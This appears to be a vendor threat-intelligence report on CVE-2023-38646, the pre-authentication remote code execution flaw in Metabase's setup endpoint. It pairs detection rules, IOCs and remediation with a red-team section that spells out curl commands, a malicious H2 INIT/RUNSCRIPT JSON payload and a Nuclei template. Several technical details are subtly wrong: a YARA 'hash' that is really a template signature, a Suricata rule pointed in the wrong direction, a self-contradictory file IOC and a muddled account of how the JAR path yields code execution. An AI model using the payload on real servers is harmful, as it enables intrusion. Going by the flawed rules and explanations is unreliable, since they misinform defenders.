CVE-2023-38646

Executive Summary

CVE-2023-38646 is a critical pre-authentication remote code execution (RCE) vulnerability affecting Metabase, an open-source business intelligence and analytics tool. The vulnerability resides in the /api/setup/validate endpoint, which is accessible without authentication. An attacker can exploit this by crafting a malicious H2 database connection string that leverages the INIT parameter to execute arbitrary SQL commands, ultimately leading to arbitrary code execution on the server. The vulnerability has a CVSS score of 9.8 and is actively being exploited in the wild. Public proof-of-concept (PoC) code and a Nuclei template are available, making this a high-priority threat for all organizations using vulnerable versions of Metabase.

Supply Chain & Package Security

Metabase is distributed as a Java JAR file and is not typically installed via package managers like npm, PyPI, Go, or Ruby. However, the vulnerability can be exploited to load arbitrary JAR files from the server's filesystem, which could be used to introduce malicious code into the supply chain. Organizations should verify the integrity of their Metabase installation and ensure that only trusted plugins are loaded.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability requires no authentication, no user interaction, and can be exploited remotely over the network. The EPSS score is 0.94255 (99.935th percentile), indicating a very high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic case of unsanitized input being passed to a database connection string. Metabase's /api/setup/validate endpoint is used during the initial setup process to validate database connections. This endpoint does not require authentication.

The exploit works by sending a POST request to /api/setup/validate with a JSON payload that includes a token (obtained from /api/session/properties) and a details object. The details.details object contains a subprotocol of h2 (H2 database) and a subname that includes the INIT parameter. The INIT parameter in H2 allows running arbitrary SQL statements when the database connection is established. By using RUNSCRIPT FROM, an attacker can execute a SQL script from a file on the server's filesystem.

The provided Nuclei template uses a file path ./plugins/vertica.metabase-driver.jar as the target. This is a known plugin that exists in many Metabase installations. The attacker can craft a malicious JAR file or use an existing one to execute arbitrary code.

The attack flow:

1. Retrieve the setup-token from /api/session/properties.
2. Send a POST request to /api/setup/validate with the token and a malicious H2 connection string.
3. The server attempts to validate the connection, which triggers the H2 database to execute the SQL script from the specified file.
4. The SQL script can contain Java code that gets executed on the server, leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely does not sanitize or validate the subname parameter in the database connection details. It directly passes the user-supplied connection string to the H2 driver.

// Vulnerable pseudocode
public void validateDatabaseConnection(DatabaseDetails details) {
    String url = "jdbc:" + details.getSubprotocol() + ":" + details.getSubname();
    Connection conn = DriverManager.getConnection(url);
    // ... validation logic
}

Patched Code (Conceptual): The patched code likely sanitizes the subname parameter to prevent the use of dangerous H2 features like INIT and RUNSCRIPT. It may also restrict the allowed subprotocols or validate the connection string against a whitelist.

// Patched pseudocode
public void validateDatabaseConnection(DatabaseDetails details) {
    String subname = details.getSubname();
    if (subname.contains("INIT") || subname.contains("RUNSCRIPT")) {
        throw new SecurityException("Invalid connection string");
    }
    String url = "jdbc:" + details.getSubprotocol() + ":" + subname;
    Connection conn = DriverManager.getConnection(url);
    // ... validation logic
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Metabase instance (e.g., version 0.46.6.0).
• A file on the target server that can be used as a SQL script (e.g., a JAR file containing a malicious class).

Exploitation Steps:

1. Retrieve Setup Token:

   curl -s http://target:3000/api/session/properties | jq -r '.["setup-token"]'
   

2. Craft Malicious Payload: The payload uses the H2 database's INIT parameter to run a SQL script from a file. The file path can be a JAR file that contains a class with a static initializer that executes arbitrary code.

   {
     "token": "YOUR_SETUP_TOKEN",
     "details": {
       "details": {
         "subprotocol": "h2",
         "classname": "org.h2.Driver",
         "advanced-options": true,
         "subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM './plugins/vertica.metabase-driver.jar'"
       },
       "name": "test",
       "engine": "postgres"
     }
   }
   

3. Send Exploit Request:

   curl -X POST http://target:3000/api/setup/validate \
     -H "Content-Type: application/json" \
     -d @payload.json
   

4. Verify Execution: Check for signs of code execution, such as a reverse shell or file creation.

Nuclei Template Usage: The provided Nuclei template can be used to automate the exploitation:

nuclei -t CVE-2023-38646.yaml -u http://target:3000

Blue Team

Detection:

• Monitor for requests to /api/setup/validate with a subprotocol of h2.
• Look for unusual subname parameters containing INIT, RUNSCRIPT, or TRACE_LEVEL_SYSTEM_OUT.
• Alert on multiple failed validation attempts from the same IP.

Honeypot:

• Deploy a honeypot Metabase instance and monitor for exploitation attempts.
• Log all requests to /api/setup/validate for analysis.

Forensics:

• Check Metabase logs for suspicious database validation attempts.
• Examine the filesystem for unexpected JAR files or scripts in the Metabase plugins directory.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /api/setup/validate with a JSON body containing "subprotocol":"h2".
• HTTP GET requests to /api/session/properties followed by a POST to /api/setup/validate.
• User-Agent strings associated with known exploit tools (e.g., Nuclei, curl).

File IOCs:

• Unexpected JAR files in the Metabase plugins directory (e.g., ./plugins/).
• Files with names like vertica.metabase-driver.jar that are not part of the standard Metabase installation.
• Log files containing TRACE_LEVEL_SYSTEM_OUT or RUNSCRIPT.

Process IOCs:

• Metabase process spawning unexpected child processes (e.g., bash, cmd.exe, powershell).
• Network connections from the Metabase server to external IPs on unusual ports.

Detection Engineering

YARA Rule

rule CVE_2023_38646_Metabase_RCE {
    meta:
        description = "Detects Metabase RCE exploit attempts via H2 database INIT parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-38646"
        hash = "4b0a00483046022100ba4b5323454d4506cb8a33c05edc82ffce4f7e36fd23bce44cabd53c48789357022100ca9f6ab350aa2d67a28bb62b272a94942175d3512dab595a3b9eebe0a8f5354e"
    strings:
        $s1 = "subprotocol" ascii wide nocase
        $s2 = "h2" ascii wide nocase
        $s3 = "INIT" ascii wide nocase
        $s4 = "RUNSCRIPT" ascii wide nocase
        $s5 = "TRACE_LEVEL_SYSTEM_OUT" ascii wide nocase
        $s6 = "setup-token" ascii wide nocase
        $s7 = "/api/setup/validate" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4) or
        (all of ($s6, $s7) and any of ($s1, $s2, $s3, $s4, $s5))
}

Sigma Rule

title: Metabase Pre-Auth RCE via H2 Database (CVE-2023-38646)
id: 4b0a0048-3046-0221-00ba-4b5323454d45
status: experimental
description: Detects exploitation attempts of CVE-2023-38646 in Metabase
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38646
    - https://www.metabase.com/blog/security-advisory
logsource:
    category: webserver
    product: metabase
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/setup/validate'
        cs-content-type: 'application/json'
    keywords:
        - 'subprotocol'
        - 'h2'
        - 'INIT'
        - 'RUNSCRIPT'
        - 'TRACE_LEVEL_SYSTEM_OUT'
    condition: selection and keywords
falsepositives:
    - Legitimate H2 database connections during setup (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-38646 Metabase Pre-Auth RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/setup/validate"; http_uri;
    content:"application/json"; http_content_type;
    content:"subprotocol"; nocase;
    content:"h2"; nocase;
    content:"INIT"; nocase;
    content:"RUNSCRIPT"; nocase;
    reference:cve,2023-38646;
    reference:url,www.metabase.com/blog/security-advisory;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2023-38646

info:
  name: Metabase < 0.46.6.1 - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade Metabase to version 0.46.6.1 or later to mitigate this vulnerability.
  reference:
    - https://www.metabase.com/blog/security-advisory
    - https://github.com/metabase/metabase/releases/tag/v0.46.6.1
    - https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
    - https://news.ycombinator.com/item?id=36812256
    - https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
    - https://gist.github.com/testanull/a7beb2777bbf550f3cf533d2794477fe
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-38646
    epss-score: 0.94255
    epss-percentile: 0.99935
    cpe: cpe:2.3:a:metabase:metabase:*:*:*:*:-:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: metabase
    product: metabase
    shodan-query:
      - http.title:"Metabase"
      - http.title:"metabase"
    fofa-query:
      - app="Metabase"
      - title="metabase"
      - app="metabase"
    google-query: intitle:"metabase"
  tags: cve2023,cve,metabase,oss,rce,vkev,vuln
variables:
  file: "./plugins/vertica.metabase-driver.jar"

http:
  - raw:
      - |
        GET /api/session/properties HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /api/setup/validate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
           "token":"{{token}}",
           "details":{
              "details":{
                 "subprotocol":"h2",
                 "classname":"org.h2.Driver",
                 "advanced-options":true,
                 "subname":"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\;"
              },
              "name":"{{randstr}}",
              "engine":"postgres"
           }
        }

    extractors:
      - type: json
        part: body_1
        name: token
        json:
          - .["setup-token"]
        internal: true
    matchers:
      - type: dsl
        dsl:
          - contains_any(body_2, "Syntax error in SQL statement","NoSuchFileException")
          - status_code_2 == 400
        condition: and
# digest: 4b0a00483046022100ba4b5323454d4506cb8a33c05edc82ffce4f7e36fd23bce44cabd53c48789357022100ca9f6ab350aa2d67a28bb62b272a94942175d3512dab595a3b9eebe0a8f5354e:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Metabase: Upgrade to the latest patched version immediately.
   • Open source: 0.46.6.1 or later
   • Enterprise: 1.46.6.1 or later
   • Other fixed versions: 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, 1.43.7.2
2. Restrict Network Access: If immediate patching is not possible, restrict access to the Metabase web interface to trusted IPs only using a firewall or WAF.
3. Disable Setup Endpoint: If the setup process is complete, consider disabling the /api/setup/validate endpoint by modifying the Metabase configuration or using a reverse proxy to block requests to it.

Long-term Mitigations:

1. Implement Web Application Firewall (WAF): Deploy a WAF with rules to detect and block exploitation attempts (e.g., blocking requests with subprotocol:h2 and INIT in the body).
2. Regular Vulnerability Scanning: Use vulnerability scanners to identify and patch vulnerable Metabase instances.
3. Security Hardening: Follow Metabase's security best practices, including running the application with the least privileges necessary and using a dedicated service account.
4. Monitor for IOCs: Continuously monitor logs and network traffic for the IOCs listed above.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For more information, visit Valters IT.

{/* [Security Hash: 0DB37218329E5C3E2A87F985] */}